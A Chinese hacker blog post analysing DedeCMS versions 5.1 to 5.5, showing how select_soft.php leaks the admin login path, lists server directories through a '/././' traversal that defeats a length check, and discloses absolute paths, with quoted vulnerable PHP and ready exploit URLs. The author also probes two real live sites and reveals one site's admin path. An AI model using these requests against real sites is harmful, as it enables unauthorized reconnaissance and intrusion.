DEDECMS XDAY

作者:hack1990 时间:10-12-15 阅读数:583人阅读

为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。

正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。
看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1

失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2


看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。
既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。
首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下
include/dialog/select_soft.php

PHP代码
<?php    
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入   
  
if(emptyempty($activepath)) $activepath = "";   
  
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.   
$activepath = ereg_replace("^/{1,}","/",$activepath);   
if(strlen($activepath)<strlen($cfg_soft_dir)){    
    $activepath = $cfg_soft_dir;   
}   
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft   
//注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php   
  
$inpath = $cfg_basedir.$activepath;    
$activeurl = "..".$activepath;   
if(emptyempty($f)) $f="form1.enclosure";   
  
if(emptyempty($comeback)) $comeback = "";   
  
?>   
  
include/dialog/config.php   
  
//检验用户登录状态   
$cuserLogin = new userLogin();   
if($cuserLogin->getUserID()==-1)   
{   
    if($cuserLogin->adminDir==)   
    {   
        exit(Request Error!);   
    }   
    $gurl = "../../{$cuserLogin->adminDir}/login.php?gotopage=".urlencode($dedeNowurl);   
    echo "<script language=javascript>location=$gurl;</script>";//嘎嘎,看这里,检测如果没登陆就会转向我们可爱的后台登陆地址了    
    exit();   
}   

虽然DEDECMS提供了修改后台目录的功能,但因为include/dialog/config.php的问题,还是会爆出后台管理路径。
接着看另外那个有趣的地方,通过查看include/dialog/select_soft.php源码,我们看到/没过滤,那我们直接构造activepath=/aaa看看,由于下面检测长度的存在,会被替换成/uploads/soft,跳出失败,有些朋友可能会想到直接去构成比$cfg_soft_dir长度长的值就行了,比如/include/FCKeditor,就是可以访问的。
我们访问php?activepath=/include/FCKeditor">http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor
如图3

看到没,跳转成功了,不过这对我们来说,用处不大。。那能不能跳到根目录呢。。经过st0p的尝试发现这个版本是可以跳转成功的。
过滤了..但没过滤.,但下面检测了$activepath长度。小于这个长度,你杂跳都会一直在在/uploads/soft目录下面,那么我们就加N个./试试,
结果在加到/././././././././时成功跳过
我们访问http://target.com/include/dialog/select_soft.php?activepath=/././././././././
如图4

看到没,直接列出了根目录下的所有文件,还有PHP文件,不过不能查看内容。。
而且DEDECMS在访问不存在的目录时会报错,我们还可以构建一个长度大于$cfg_soft_dir的任意目录,让他爆出绝对路径。
如访问http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p
结果如图5

然后看了一下DedeCMS V5.3.1和最新的DedeCMS V5.5正式版,发现这两个版本对.进行了处理,而且只会列出目录和一些允许显示的文件,PHP是不能显示了
include/dialog/select_soft.php

PHP代码
<?php   
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入   
if(emptyempty($activepath))   
{   
    $activepath = ;   
}   
$activepath = str_replace(.,,$activepath);//看到没,这里把过滤..变成了过滤.   
  
$activepath = ereg_replace("/{1,}",/,$activepath);   
  
if(strlen($activepath) < strlen($cfg_soft_dir))   
{   
    $activepath = $cfg_soft_dir;   
}   
//不过这个通过长度来检测的地方没过滤,嘿嘿我们还是可以利用的   
$inpath = $cfg_basedir.$activepath;   
$activeurl = ...$activepath;   
if(emptyempty($f))   
{   
    $f=form1.enclosure;   
}   
  
if(emptyempty($comeback))   
{   
    $comeback = ;   
}   
  
?>   

如构造http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p可以爆出绝对路径
构造http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor可以浏览此目录下的文件,当然你也可以跳到别的目录,但长度一定要大于设置中的目录。
不过前提是你要登陆下才能利用,这个就显得有点鸡肋了。杰少说要是在爆一个注入漏洞就完美了。嘎。。。

另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉到根目录去。不过这些版本的访问地址有些不同。
地址为http://target.com/require/dialog/select_soft.php?activepath=/././././././././

嘿嘿,最后发现includedialog目录下的另外几个文件都存在同一个问题,只是默认设的目录不同。有些可以查看HTML这些文件哦。。
存在相同问题的文件还有
includedialogselect_images.php
includedialogselect_media.php
includedialogselect_templets.php

发表评论